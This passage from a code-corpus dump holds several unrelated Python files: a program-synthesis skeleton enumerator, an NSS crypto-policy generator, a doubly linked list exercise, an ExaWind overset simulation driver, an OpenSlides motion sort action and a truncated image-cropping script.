return True\n else:\n raise NotImplementedError(\"Unsupported types for skeleton pattern matching, got: {} and {}.\".format(pred, tgt))\n \n def parse_reference(self, refstr):\n '''\n Extract reference value from reference token\n '''\n assert refstr.startswith(\"ref@\")\n try:\n refint = int(refstr[4:])\n assert refint >= 0\n return refint\n except ValueError as e:\n raise ValueError(\"Error parsing reference value for: {}\".format(refstr))\n\n def rec_tuple_to_list(self, ir):\n # convert tuple from ir to list, recursively\n # this is helpful for post-processing for results returned by product\n if isinstance(ir, tuple) or isinstance(ir, list):\n return [self.rec_tuple_to_list(p) for p in ir]\n else:\n return ir\n\n def rec_list_to_tuple(self, ir):\n # convert list to tuple, recursively\n # this is helpful for maintaining skeleton name\n if isinstance(ir, tuple) or isinstance(ir, list):\n return tuple([self.rec_list_to_tuple(p) for p in ir])\n else:\n return ir\n\n def pretty_print_ir0_cmd(self, cmd):\n # this function is only meant for ir0\n retcmd = []\n for i in range(len(cmd)):\n if isinstance(cmd[i], list):\n retcmd.append(self.pretty_print_ir0_cmd(cmd[i]))\n elif isinstance(cmd[i], int):\n retcmd.append(\"ref@{}\".format(cmd[i]))\n elif isinstance(cmd[i], FunctionProduction):\n retcmd.append(cmd[i].name)\n elif isinstance(cmd[i], ParamProduction):\n retcmd.append(\"Param@{}\".format(cmd[i]._param_id))\n elif cmd[i] is None:\n retcmd.append(cmd[i])\n else:\n raise NotImplementedError(\"Invalid type: {}.\".format(type(cmd[i])))\n return retcmd\n\n def pretty_print_ir1_cmd(self, cmd):\n # this function is only meant for ir1 (somehow you can also use it to print ir2)\n retcmd = []\n for i in range(len(cmd)):\n if isinstance(cmd[i], list):\n retcmd.append(self.pretty_print_ir1_cmd(cmd[i]))\n elif isinstance(cmd[i], int):\n retcmd.append(\"ref@{}\".format(cmd[i]))\n elif isinstance(cmd[i], FunctionProduction):\n retcmd.append(cmd[i].name)\n elif isinstance(cmd[i], ParamProduction):\n retcmd.append(\"Param@{}\".format(cmd[i]._param_id))\n elif isinstance(cmd[i], Type):\n if isinstance(cmd[i], EnumType):\n retcmd.append(\"EnumType@{}\".format(cmd[i].name))\n elif isinstance(cmd[i], ValueType):\n retcmd.append(\"ValueType@{}\".format(cmd[i].name))\n else:\n raise NotImplementedError(\"Invalid type: {}.\".format(type(cmd[i])))\n else:\n raise NotImplementedError(\"Invalid type: {}.\".format(type(cmd[i])))\n return retcmd\n\n def canonicalize(self, cand: List[Any]):\n '''\n Translate a json skeleton with string/reference/int/null into internal skeleton with dsl components;\n also validate the number of holes in the json skeleton and type-check the concrete assignments in the skeletons\n '''\n def rec_transform(sunit):\n # this transforms a json command into IR0 format\n # note: this is recursive, so a sunit can be a full command or a token\n if isinstance(sunit, list):\n return [rec_transform(p) for p in sunit]\n else:\n if isinstance(sunit, str):\n if sunit.startswith(\"ref@\"):\n # special token: reference token\n # parse it into int\n # note: param becomes ParamProduction, and reference token get parsed into int\n # both are fine anr there's no conflict in this phase\n return self.parse_reference(sunit)\n else:\n # function production\n return self._builder.get_function_production_or_raise(sunit)\n elif isinstance(sunit, int):\n # param production\n return self._builder.get_param_production_or_raise(sunit)\n elif sunit is None:\n # hole\n return None\n else:\n raise ValueError(\"Cannot recognize skeleton unit: {}.\".format(sunit))\n\n def rec_validate(cmds, curr_cmd):\n # this validates IR0s one by one\n # cmds is actually a skeleton\n for i in range(len(cmds)):\n # validate commands one by one\n # note: if this is in a recursive call stack with specific command assigned\n # process this command and break the loop after finishing the assignment (no loop)\n # note: we always need cmds because curr_cmd (even nested) can also refer to previous outputs\n # note: if curr_cmd is None, we are in top level, otherwise in recursive level\n cmd = cmds[i] if curr_cmd is None else curr_cmd\n\n curr_prod = cmd[0]\n assert isinstance(curr_prod, FunctionProduction), \"First token of every command should be FunctionProduction, got: {}.\".format(curr_prod)\n curr_rhs = curr_prod.rhs\n # validate number of holes\n assert len(curr_rhs) == len(cmd)-1, \\\n \"Command arity doesn't match the declared function production arity. \" + \\\n \"FunctionProduction is {}. Required {} rhs, but got {}.\".format(curr_prod.name, len(curr_rhs), len(cmd)-1)\n # valid type of holes\n for j in range(len(curr_rhs)):\n if cmd[j+1] is None:\n # hole\n if curr_rhs[j] in self._warning_types:\n logger.warning(\"Non-terminal type {} is left as a hole in {}th token of command {}, which *may* cause cyclic substitution.\".format(curr_rhs[j], j+1, self.pretty_print_ir0_cmd(cmd)))\n elif isinstance(cmd[j+1], int):\n # special token: reference token\n # note: we also need to do semantic checking here (don't refer to future steps)\n assert cmd[j+1] < i, \"You can't refer to future/current outputs: current output step is {}, referred output step is {}.\".format(i, cmd[j+1])\n # reference production: still need to check type\n assert cmds[cmd[j+1]][0].lhs == curr_rhs[j], \"Type mismatch for command: {} at {}th token.\".format(cmd, j+1)\n elif isinstance(cmd[j+1], list):\n # function production\n # note: FunctionProduction should always be wrapped in a list\n assert curr_rhs[j] == cmd[j+1][0].lhs, \"Type mismatch for command: {} at {}th token.\".format(self.pretty_print_ir0_cmd(cmd), j+1)\n # then move on to next level: depth first validation\n rec_validate(cmds, cmd[j+1])\n elif isinstance(cmd[j+1], EnumProduction) or isinstance(cmd[j+1], ParamProduction):\n # enum production or param production\n assert curr_rhs[j] == cmd[j+1].lhs\n else:\n raise ValueError(\"Can't validate the unit {}: unknown components.\".format(cmd[j+1]))\n\n # note: see above\n if curr_cmd is not None:\n break\n\n def rec_filltype(sunit):\n # this transforms IR0s to IR1s by filling in actual type instances\n # note: this is recursive, so a sunit can be a full command or a token\n curr_prod = sunit[0]\n curr_rhs = curr_prod.rhs\n # note-important: a skeleton's sunit[0] is always a FunctionProduction\n # which should always be concretely specified\n runit = [sunit[0]]\n for i in range(len(curr_rhs)):\n if sunit[i+1] is None:\n # a hole\n # append Type\n runit.append(curr_rhs[i])\n elif isinstance(sunit[i+1], int):\n # a reference token: don't modify just keep the reference\n # note: since this is well typed by rec_validate, so it's fine\n runit.append(sunit[i+1])\n elif isinstance(sunit[i+1], list):\n # a function production\n # recursive call\n runit.append(rec_filltype(sunit[i+1]))\n elif isinstance(sunit[i+1], EnumProduction) or isinstance(sunit[i+1], ParamProduction):\n # a enum production or param production\n # similar to rec_valid same branch\n # just append\n runit.append(sunit[i+1])\n else:\n raise ValueError(\"Can't fill in type for the unit: {}.\".format(sunit[i+1]))\n return runit\n\n def rec_spawn(cmds, curr_cmd):\n # this creates a generator that iterates all (potential) full skeletons, given a (potential) non-full skeleton\n # essentially this removes all ValueTypes by subsituting them with Productions and EnumTypes\n # note: this returns a generator, and you need to iterate it to get all the full skeletons\n # note: this may get stuck if there's introduced cyclic substitution\n # note: this has similar calling stacks with rec_validate\n # cmds is actually a skeleton\n tmp_ir = [] # temporary container\n for i in range(len(cmds)):\n cmd = cmds[i] if curr_cmd is None else curr_cmd\n curr_prod = cmd[0]\n curr_rhs = curr_prod.rhs\n tmp_cmd = [] # temporary container\n tmp_cmd.append(Pool([curr_prod]))\n for j in range(len(curr_rhs)):\n # note: if it's a Type, then it's from a hole and may need spawn\n # if it's a Production, no need to do anything\n # if it's an int (reference), no need to do anything\n if cmd[j+1] in self._nonterminal_types:\n # if this type is non-terminal, then try to derive to full\n prods = self._builder.get_productions_with_lhs(cmd[j+1])\n enum_prods, param_prods, func_prods = [], [], []\n for p in prods:\n if p.is_enum():\n enum_prods.append(p)\n elif p.is_param():\n param_prods.append(p)\n elif p.is_function():\n func_prods.append(p)\n else:\n raise ValueError(\"Unknown Production subtype for type {}, got: {}.\".format(cmd[j+1], p))\n # note: according to Trinity definition, this type is non-terminal type, and it can't be a EnumType\n assert len(enum_prods) == 0\n tmp_pool = Pool([])\n for p in param_prods:\n tmp_pool.append(self._builder.make_node(p))\n for p in func_prods:\n tmp_pool += rec_spawn(cmds, [p]+p.rhs)\n\n tmp_cmd.append(tmp_pool)\n elif isinstance(cmd[j+1], list):\n tmp_cmd.append(rec_spawn(cmds, cmd[j+1]))\n else:\n tmp_cmd.append(Pool([cmd[j+1]]))\n # then expand tmp_cmd into combinations\n # note: need to unwrap into list\n cmd_collection = list(product(*[tmp_cmd[k]._pool for k in range(len(tmp_cmd))]))\n\n # note: see above\n if curr_cmd is not None:\n return Pool(cmd_collection)\n else:\n tmp_ir.append(Pool(cmd_collection))\n\n # if you reach here, generate the collection (product) of the full ir\n # print(\"# [debug] sizes for cmds: {}\".format([len(tmp_ir[k]._pool) for k in range(len(tmp_ir))]))\n ir_collection = list(product(*[tmp_ir[k]._pool for k in range(len(tmp_ir))]))\n return Pool(ir_collection)\n\n # typical process of parsing a line skeleton\n # input / original json: \n # [\n # [\"Select\", 0, null, null],\n # [\"Select\", \"ref@0\", null, [\"Str2Val\", null]],\n # [\"Extract\", \"ref@1\", null, null]\n # ]\n # cand_tmp0 / internal representation 0, IR0 / rec_transform:\n # [\n # [SelectProd, ParamProd@0, None, None],\n # [SelectProd, 0, None, [Str2ValProd, None]],\n # [ExtractProd, 1, None, None]\n # ]\n # cand_tmp1 / internal representation 1, IR1 / rec_filltype:\n # [\n # [SelectProd, ParamProd@0, EnumType@Pp, ValueType@Val],\n # [SelectProd, 0, EnumType@Pp, [Str2ValProd, EnumType@Str]],\n # [ExtractProd, 1, EnumType@Pp, ValueType@Val]\n # ]\n # cand_tmp2 / internal representation 2, IR2 / full (line) skeleton / :\n # ...\n\n # step1: replace all valid productions in every command\n cand_tmp0 = [rec_transform(cand[i]) for i in range(len(cand))]\n # step2: validate the number of holes and the position of concrete assignment\n rec_validate(cand_tmp0, None)\n # step3: fill in types for those slots\n cand_tmp1 = [rec_filltype(cand_tmp0[i]) for i in range(len(cand_tmp0))]\n # step4: spawn a skeleton into (potential) full skeleton(s)\n cand_tmp2 = rec_spawn(cand_tmp1, None)\n # cand_tmp2 = Pool(self.rec_tuple_to_list(cand_tmp2._pool))\n cand_tmp2 = self.rec_tuple_to_list(cand_tmp2._pool)\n # everything's fine\n return cand_tmp2\n\n def get_ir2_nslot(self, cmd):\n ret_nslot = 0\n for i in range(len(cmd)):\n if isinstance(cmd[i], list):\n ret_nslot += self.get_ir2_nslot(cmd[i])\n elif isinstance(cmd[i], int):\n pass\n elif isinstance(cmd[i], FunctionProduction):\n pass\n elif isinstance(cmd[i], ParamProduction):\n pass\n elif isinstance(cmd[i], Type):\n if isinstance(cmd[i], EnumType):\n ret_nslot += 1\n # elif isinstance(cmd[i], ValueType):\n # retcmd.append(\"ValueType@{}\".format(cmd[i].name))\n else:\n raise NotImplementedError(\"Invalid type: {}.\".format(type(cmd[i])))\n else:\n raise NotImplementedError(\"Invalid type: {}.\".format(type(cmd[i])))\n return ret_nslot\n\n # def convert_ir2_to_sketch(self, cmds):\n # return [cmds[i][0].name for i in range(len(cmds))]\n\n def check_iterator(self, it):\n for p in self._skeleton_patterns:\n if self.rec_skeleton_pattern_matching(p, it._name):\n self._nprunedby[\"KB\"] += 1\n return False\n return True\n\n # returns (fc, prog)\n # fc: is this the first candidate in the skeleton\n def next(self) -> Tuple[ bool, Optional[Node] ]:\n try:\n # note: this is required, since update with SkeletonAssertion may move the ptr forward\n # which may implicitly make the ptr exceed\n if self._iter_ptr >= len(self._iters):\n # out of bound, no need to do skeleton level deduction, so make fc False\n return (False, None)\n\n # note: cold start skeleton checking\n # this is required when the enumerator inherits an external KB\n if not self.check_iterator(self._iters[self._iter_ptr]):\n self._iter_ptr += 1\n return self.next()\n\n fc, ret_prog = next(self._iters[self._iter_ptr])\n while ret_prog is None:\n # this means the program fails the check\n # then keep trying until the enumerated program is not None\n fc, ret_prog = next(self._iters[self._iter_ptr])\n # attach skeleton information\n ret_prog._tag = {\n # \"skeleton\": self.pretty_print_ir1_cmd(self._cands[self._iter_ptr]),\n \"skeleton\": self.rec_list_to_tuple(self.pretty_print_ir1_cmd(self._cands[self._iter_ptr])),\n \"nslot\": self.get_ir2_nslot(self._cands[self._iter_ptr])\n }\n\n return (fc, ret_prog)\n except StopIteration:\n if self._iter_ptr + 1 >= len(self._iters):\n # out of bound, no need to do skeleton level deduction, so make fc False\n return (False, None)\n else:\n # move to next skeleton\n self._iter_ptr += 1\n # test against skeleton level predicates until it finds one that fits\n while True:\n if self.check_iterator(self._iters[self._iter_ptr]):\n break\n else:\n self._iter_ptr += 1\n\n return self.next()\n\n def update(self, core: Any=None) -> None:\n '''\n Update the internal state of the enumerator. This can be useful when trying to prune the search space.\n By default, it does nothing.\n '''\n if isinstance(core, EnumAssertion):\n self._nprunedby[\"parameter\"] += 1\n # argument level conflict-drive learning: add the context and condition predicate to the iterator KB\n # core._context is a tuple, so it's good for dictionary key\n # self._iters[self._iter_ptr]._predicates[core._context] = core._condition\n # note: now support multiple conditions for one context, e.g., gather/group/select with more than one assertEnum\n # note-important: conditions at this level are *combinational*, WITHOUT dependencies\n # because in some cases, one can trigger the second assertEnum first, which breaks the dependencies\n # so if you want to ensure dependencies between assertEnums, better merge them into one\n if core._context not in self._iters[self._iter_ptr]._predicates.keys():\n self._iters[self._iter_ptr]._predicates[core._context] = []\n self._iters[self._iter_ptr]._predicates[core._context].append( core._condition )\n elif isinstance(core, SkeletonAssertion):\n self._nprunedby[\"sketch\"] += 1\n # fixme: an initial version, currently we only skip the current skeleton, may be extended to multiple skeletons\n self._skeleton_patterns.append(core._prog._tag[\"skeleton\"])\n # by default, when throwing a SkeletonAssertion, it implies that you skip the current skeleton already\n # self._iter_ptr += 1\n elif isinstance(core, ComponentError):\n self._nprunedby[\"component\"] += 1\n # similar to EnumAssertion\n # if core._context not in self._iters[self._iter_ptr]._predicates.keys():\n # self._iters[self._iter_ptr]._predicates[core._context] = []\n # self._iters[self._iter_ptr]._predicates[core._context].append( core._condition )\n # fixme: note: the accumulates predicates very quickly, may cause extra overheads\n pass\n elif isinstance(core, EqualityAssertion):\n self._nprunedby[\"equality\"] += 1\n # nothing to update\n pass\n else:\n raise NotImplementedError(\"Unsupported InterpreterError type for update, got: {}.\".format(type(core)))\n \n","sub_path":"solinv/tyrell/enumerator/line_skeleton.py","file_name":"line_skeleton.py","file_ext":"py","file_size_in_byte":34359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"337991010","text":"# SPDX-License-Identifier: LGPL-2.1-or-later\n\n# Copyright (c) 2019 Red Hat, Inc.\n# Copyright (c) 2019 Tomáš Mráz \n\nfrom subprocess import call, CalledProcessError\nfrom tempfile import mkstemp\n\nimport os\n\nfrom .configgenerator import ConfigGenerator\n\n\nclass NSSGenerator(ConfigGenerator):\n\tCONFIG_NAME = 'nss'\n\n\tmac_map = {\n\t\t'AEAD':'',\n\t\t'HMAC-SHA1':'HMAC-SHA1',\n\t\t'HMAC-MD5':'HMAC-MD5',\n\t\t'HMAC-SHA2-256':'HMAC-SHA256',\n\t\t'HMAC-SHA2-384':'HMAC-SHA384',\n\t\t'HMAC-SHA2-512':'HMAC-SHA512'\n\t}\n\n\thash_map = {\n\t\t'SHA1':'SHA1',\n\t\t'MD5':'MD5',\n\t\t'SHA2-224':'SHA224',\n\t\t'SHA2-256':'SHA256',\n\t\t'SHA2-384':'SHA384',\n\t\t'SHA2-512':'SHA512',\n\t\t'SHA3-256':'',\n\t\t'SHA3-384':'',\n\t\t'SHA3-512':'',\n\t\t'GOST':''\n\t}\n\n\tcurve_map = {\n\t\t'X25519':'CURVE25519',\n\t\t'X448':'',\n\t\t'SECP256R1':'SECP256R1',\n\t\t'SECP384R1':'SECP384R1',\n\t\t'SECP521R1':'SECP521R1'\n\t}\n\n\tcipher_map = {\n\t\t'AES-256-CTR':'',\n\t\t'AES-128-CTR':'',\n\t\t'RC2-CBC':'rc2',\n\t\t'RC4-128':'rc4',\n\t\t'AES-256-GCM':'aes256-gcm',\n\t\t'AES-128-GCM':'aes128-gcm',\n\t\t'AES-256-CBC':'aes256-cbc',\n\t\t'AES-128-CBC':'aes128-cbc',\n\t\t'CAMELLIA-256-CBC':'camellia256-cbc',\n\t\t'CAMELLIA-128-CBC':'camellia128-cbc',\n\t\t'CAMELLIA-256-GCM':'',\n\t\t'CAMELLIA-128-GCM':'',\n\t\t'AES-256-CCM':'',\n\t\t'AES-128-CCM':'',\n\t\t'CHACHA20-POLY1305':'chacha20-poly1305',\n\t\t'3DES-CBC':'des-ede3-cbc'\n\t}\n\n\tkey_exchange_map = {\n\t\t'PSK':'',\n\t\t'DHE-PSK':'',\n\t\t'ECDHE-PSK':'',\n\t\t'RSA':'RSA',\n\t\t'DHE-RSA':'DHE-RSA',\n\t\t'DHE-DSS':'DHE-DSS',\n\t\t'ECDHE':'ECDHE-RSA:ECDHE-ECDSA',\n\t\t'ECDH':'ECDH-RSA:ECDH-ECDSA',\n\t\t'DH':'DH-RSA:DH-DSS'\n\t}\n\n\tprotocol_map = {\n\t\t'SSL3.0':'ssl3.0',\n\t\t'TLS1.0':'tls1.0',\n\t\t'TLS1.1':'tls1.1',\n\t\t'TLS1.2':'tls1.2',\n\t\t'TLS1.3':'tls1.3',\n\t\t'DTLS1.0':'dtls1.0',\n\t\t'DTLS1.2':'dtls1.2'\n\t}\n\n\t@classmethod\n\tdef generate_config(cls, policy):\n\t\tp = policy.props\n\n\t\tcfg = 'library=\\n'\n\t\tcfg += 'name=Policy\\n'\n\t\tcfg += 'NSS=flags=policyOnly,moduleDB\\n'\n\t\tcfg += 'config=\"disallow=ALL allow='\n\n\t\ts = ''\n\t\tfor i in p['mac']:\n\t\t\ttry:\n\t\t\t\ts = cls.append(s, cls.mac_map[i])\n\t\t\texcept KeyError:\n\t\t\t\tpass\n\n\t\tfor i in p['group']:\n\t\t\ttry:\n\t\t\t\ts = cls.append(s, cls.curve_map[i])\n\t\t\texcept KeyError:\n\t\t\t\tpass\n\n\t\tfor i in p['tls_cipher']:\n\t\t\ttry:\n\t\t\t\ts = cls.append(s, cls.cipher_map[i])\n\t\t\texcept KeyError:\n\t\t\t\tpass\n\n\t\tfor i in p['hash']:\n\t\t\ttry:\n\t\t\t\ts = cls.append(s, cls.hash_map[i])\n\t\t\texcept KeyError:\n\t\t\t\tpass\n\n\t\tfor i in p['key_exchange']:\n\t\t\ttry:\n\t\t\t\ts = cls.append(s, cls.key_exchange_map[i])\n\t\t\texcept KeyError:\n\t\t\t\tpass\n\n\t\tdsa = [i for i in p['sign'] if i.find('DSA-') == 0]\n\t\tif dsa:\n\t\t\ts = cls.append(s, 'DSA')\n\n\t\ttry:\n\t\t\tminver = cls.protocol_map[p['min_tls_version']]\n\t\texcept KeyError:\n\t\t\tminver = '0'\n\t\ts = cls.append(s, 'tls-version-min=' + minver)\n\n\t\ttry:\n\t\t\tminver = cls.protocol_map[p['min_dtls_version']]\n\t\texcept KeyError:\n\t\t\tminver = '0'\n\t\ts = cls.append(s, 'dtls-version-min=' + minver)\n\n\t\ts = cls.append(s, 'DH-MIN=' + str(p['min_dh_size']))\n\t\ts = cls.append(s, 'DSA-MIN=' + str(p['min_dsa_size']))\n\t\ts = cls.append(s, 'RSA-MIN=' + str(p['min_rsa_size']))\n\n\t\tcfg += s + '\"\\n\\n\\n'\n\t\treturn cfg\n\n\t@classmethod\n\tdef test_config(cls, config):\n\t\tif not os.access('/usr/bin/nss-policy-check', os.X_OK):\n\t\t\treturn True\n\n\t\tfd, path = mkstemp()\n\n\t\ttry:\n\t\t\twith os.fdopen(fd, 'w') as f:\n\t\t\t\tf.write(config)\n\t\t\ttry:\n\t\t\t\tcall('/usr/bin/nss-policy-check ' + path +\n\t\t\t\t\t' >/dev/null 2>/dev/null',\n\t\t\t\t\tshell=True)\n\t\t\texcept CalledProcessError:\n\t\t\t\tcls.eprint(\"There is an error in NSS generated policy\")\n\t\t\t\tcls.eprint(\"Policy:\\n%s\" % config)\n\t\t\t\treturn False\n\t\tfinally:\n\t\t\tos.unlink(path)\n\n\t\treturn True\n","sub_path":"additionalstore_vfs/vfs/dir/3b53a1a1ef4a56c8148e562801ca7cf92c2e4d342c1bbb8ccd6f0810bebd5628/usr/share/crypto-policies/python/policygenerators/nss.py","file_name":"nss.py","file_ext":"py","file_size_in_byte":3526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"333046344","text":"# Doubly Linked Lists - Very similar to singly linked, however these have a pointer and a tail node\n# Move, left to previous node, from a given node\n# Move immediately to the last node\n\nclass DoubleNode:\n def __init__(self, data, next = None, prev = None):\n self.data = data\n self.next = next\n self.prev = prev\n\n\nclass DoubleLinkedList:\n def __init__(self):\n self.head = None\n self.tail = None\n\n # two cases to consider\n def print_linked_list(self):\n probe = self.head\n while probe != None:\n print(probe.data)\n probe = probe.next\n\n def append(self, data):\n # empty linked list?\n if self.head is None:\n # newNode.prev = None\n # self.head = newNode\n self.head = DoubleNode(data, self.tail)\n self.tail = self.head\n # we have items in our list\n else:\n # instantiate a new node with the data and the current tail as the prev attribute\n newNode = DoubleNode(data, None, self.tail)\n # set the current tail's next attribute to be the new node\n self.tail.next = newNode\n # set the tail reference to the new final node (newNode)\n self.tail = newNode","sub_path":"studentcode/Python/5Dec/base_double_node.py","file_name":"base_double_node.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"607473555","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nLaminar flow past a sphere example\n\nThis script demonstrates an overset simulation using Nalu-Wind and AMR-Wind. It\nuses a high-level API provided in exawind-sim\n\n\"\"\"\n\nfrom mpi4py import MPI\nimport amrex\nfrom exwsim import tioga\nfrom exwsim.amr_wind.amr_wind_py import AMRWind\nimport exwsim.nalu_wind as nw\nfrom exwsim.core.overset_sim import OversetSimulation\n\ndef main():\n \"\"\"Driver\"\"\"\n comm = MPI.COMM_WORLD\n rank = comm.Get_rank()\n\n nw.kokkos_initialize()\n sim = OversetSimulation(comm)\n\n sim.printer.echo(\"Initializing AMR-Wind\")\n pamrex = amrex.PyAMReX(comm, \"sphere-amr.inp\")\n awind = AMRWind(pamrex, sim.tioga)\n sim.register_solver(awind)\n\n sim.printer.echo(\"Initializing Nalu-Wind\")\n nalu = nw.NaluWind(comm, \"sphere-nalu.yaml\", sim.tioga)\n sim.register_solver(nalu)\n\n num_timesteps = 20\n\n sim.printer.echo(\"Initializing overset simulation\")\n sim.initialize()\n sim.printer.echo(\"Initialization successful\")\n sim.run_timesteps(num_timesteps)\n sim.summarize_timings()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"examples/nalu-amr/fine-sphere-moving-mesh-laminar-flow/sphere.py","file_name":"sphere.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"198513111","text":"from typing import Any, Dict, Iterable, List, Set\n\nimport fastjsonschema # type: ignore\n\nfrom ...models.base import Model\nfrom ...models.motion import Motion\nfrom ...shared.exceptions import ActionException, PermissionDenied\nfrom ...shared.filters import FilterOperator\nfrom ...shared.interfaces import Event, WriteRequestElement\nfrom ...shared.patterns import FullQualifiedField, FullQualifiedId\nfrom ...shared.permissions.motion import MOTION_CAN_MANAGE\nfrom ...shared.schema import schema_version\nfrom ..actions import register_action\nfrom ..base import Action, ActionPayload, BaseAction, DataSet\n\nsort_node_schema = {\n \"$schema\": schema_version,\n \"title\": \"Sort node schema\",\n \"description\": \"A node inside a sort tree.\",\n \"type\": \"object\",\n \"properties\": {\n \"id\": {\n \"description\": \"The id of the instance.\",\n \"type\": \"integer\",\n \"minimum\": 1,\n },\n \"children\": {\n \"type\": \"array\",\n \"items\": {}, # TODO: Add recursive sort_node_schema here, then remove extra check in TreeSortMixin.\n \"minItems\": 1,\n \"uniqueItems\": True,\n },\n },\n \"required\": [\"id\"],\n \"additionalProperties\": False,\n}\n\nvalidate_sort_node = fastjsonschema.compile(sort_node_schema)\n\nsort_motion_schema = fastjsonschema.compile(\n {\n \"$schema\": schema_version,\n \"title\": \"Sort motions schema\",\n \"description\": \"Meeting id and an array of motions to be sorted.\",\n \"type\": \"object\",\n \"properties\": {\n \"meeting_id\": Motion().get_schema(\"meeting_id\"),\n \"nodes\": {\n \"description\": (\n \"An array of motions to be sorted. The array should contain all \"\n \"root motions of a meeting. Each node is a dictionary with an id \"\n \"and optional children. In the end all motions of a meeting should \"\n \"appear.\"\n ),\n \"type\": \"array\",\n \"items\": sort_node_schema,\n \"minItems\": 1,\n \"uniqueItems\": True,\n },\n },\n \"required\": [\"meeting_id\", \"nodes\"],\n \"additionalProperties\": False,\n }\n)\n\n\n# TODO: Move this mixin to a generic place.\nclass TreeSortMixin(BaseAction):\n \"\"\"\n Provides an action mixin for sorting a model tree.\n \"\"\"\n\n model: Model\n\n def sort_tree(\n self,\n nodes: List,\n meeting_id: int,\n weight_key: str,\n parent_id_key: str,\n children_ids_key: str,\n ) -> DataSet:\n \"\"\"\n Sorts the all model objects represented in a tree of ids. The request\n data should be a list (the root) of all main models. Each node is a dict\n with an id and optional children. Every id has to be given.\n\n This function traverses this tree in preorder to assign the weight.\n \"\"\"\n # Get all item ids to verify, that the user send all ids.\n filter = FilterOperator(field=\"meeting_id\", value=meeting_id, operator=\"==\")\n db_instances, position = self.database.filter(\n collection=self.model.collection,\n filter=filter,\n meeting_id=meeting_id,\n mapped_fields=[],\n )\n self.set_min_position(position)\n all_model_ids = set(db_instances.keys())\n\n # Setup initial node using a fake root node.\n fake_root: Dict[str, Any] = {\"id\": None, \"children\": []}\n fake_root[\"children\"].extend(nodes) # This will prevent mutating the nodes.\n\n # The stack where all nodes to check are saved. Invariant: Each node\n # must be a dict with an id, a parent id (may be None for the root\n # layer) and a weight.\n nodes_to_check = [fake_root]\n\n # Traverse and check if every id is given, valid and there are no duplicate ids.\n ids_found: Set[int] = set() # Set to save all found ids.\n nodes_to_update: Dict[int, Dict[str, Any]] = {} # Result data.\n\n # The weight values are 2, 4, 6, 8,... to \"make space\" between entries. This is\n # some work around for the agenda: If one creates a content object with an item\n # and gives the item's parent, than the weight can be set to the parent's one +1.\n # If multiple content objects witht he same parent are created, the ordering is not\n # guaranteed.\n weight = 0\n\n # Now walk through the tree.\n while len(nodes_to_check) > 0:\n node = nodes_to_check.pop()\n id = node[\"id\"]\n\n if id is not None: # Exclude the fake_root\n # Parse current node.\n weight += 2\n nodes_to_update[id] = {}\n nodes_to_update[id][children_ids_key] = []\n nodes_to_update[id][weight_key] = weight\n parent_id = node.get(parent_id_key)\n nodes_to_update[id][parent_id_key] = parent_id\n if parent_id is not None:\n nodes_to_update[parent_id][children_ids_key].append(id)\n\n # Check id.\n if id in ids_found:\n raise ActionException(f\"Duplicate id in sort tree: {id}\")\n if id not in all_model_ids:\n raise ActionException(f\"Id in sort tree does not exist: {id}\")\n ids_found.add(id)\n\n # Add children if exist.\n if node.get(\"children\"):\n node[\n \"children\"\n ].reverse() # Use reverse() because we use pop() some lines, so this is LIFO and not FIFO.\n for child in node[\"children\"]:\n validate_sort_node(child)\n child[parent_id_key] = id\n nodes_to_check.append(child)\n\n # Check if all ids are used.\n if len(all_model_ids) != len(ids_found):\n raise ActionException(\n f\"Did not recieve {len(all_model_ids)} ids, got {len(ids_found)}.\"\n )\n\n return {\"position\": self.position, \"data\": nodes_to_update}\n\n def create_write_request_elements(\n self, dataset: DataSet\n ) -> Iterable[WriteRequestElement]:\n for id, instance in dataset[\"data\"].items():\n fqid = FullQualifiedId(self.model.collection, id)\n information = {fqid: [\"Object sorted\"]}\n event = Event(type=\"update\", fqid=fqid, fields=instance)\n yield WriteRequestElement(\n events=[event],\n information=information,\n user_id=self.user_id,\n locked_fields={\n FullQualifiedField(self.model.collection, id, \"deleted\"): dataset[\n \"position\"\n ]\n }, # TODO: Lock more fields to protect against intermediate creation of new instances.\n )\n\n\n@register_action(\"motion.sort\")\nclass MotionSort(TreeSortMixin, Action):\n \"\"\"\n Action to sort motions.\n \"\"\"\n\n model = Motion()\n schema = sort_motion_schema\n\n def prepare_dataset(self, payload: ActionPayload) -> DataSet:\n if not isinstance(payload, dict):\n raise TypeError(\"ActionPayload for this action must be a dictionary.\")\n meeting_id = payload[\"meeting_id\"]\n if not self.permission.has_perm(\n self.user_id, f\"{meeting_id}/{MOTION_CAN_MANAGE}\"\n ):\n raise PermissionDenied(\n f\"User must have {MOTION_CAN_MANAGE} permission for \"\n f\"meeting_id {meeting_id}.\"\n )\n return self.sort_tree(\n nodes=payload[\"nodes\"],\n meeting_id=meeting_id,\n weight_key=\"sort_weight\",\n parent_id_key=\"sort_parent_id\",\n children_ids_key=\"sort_children_ids\",\n )\n","sub_path":"openslides_backend/actions/motion/sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":7793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"509551332","text":"import numpy as np\nfrom scipy import ndimage\nfrom scipy import misc\nimport pylab as plt\n\nfrom PIL import Image, ImageDraw, ImageOps\n\nimport matplotlib.cm as cm\n\ndef crop(img):\n\toriginal_length = img.shape[1]\n\toriginal_width = img.shape[0]\n\tcrop_length = 250\n\ttop_crop_width = 180\n\tbottom_crop_width = 120\n\n\tcropped_length = original_length - 2*crop_length\n\tcropped_width = original_width - top_crop_width - bottom_crop_width\n\n\tcropped = np.zeros((cropped_width, cropped_length))\n\n\tfor x in xrange(top_crop_width,img.shape[0] - bottom_crop_width):\n\t\tcropped[x - top_crop_width] = img[x][crop_length:(img.shape[1] - crop_length)]\n\n\treturn cropped\n\ndef noise_reduction(img):\n\tcolum_median = np.median(img, axis=0)\n\trow_median = np.median(img, axis=1)\n\n\tmedia_factor = 2\n\n\tfor x in xrange(0, img.shape[0]):\n\t\tfor y in xrange(0,img.shape[1]):\n\t\t\tif img[x][y] < colum_median[y]/media_factor and img[x][y] < 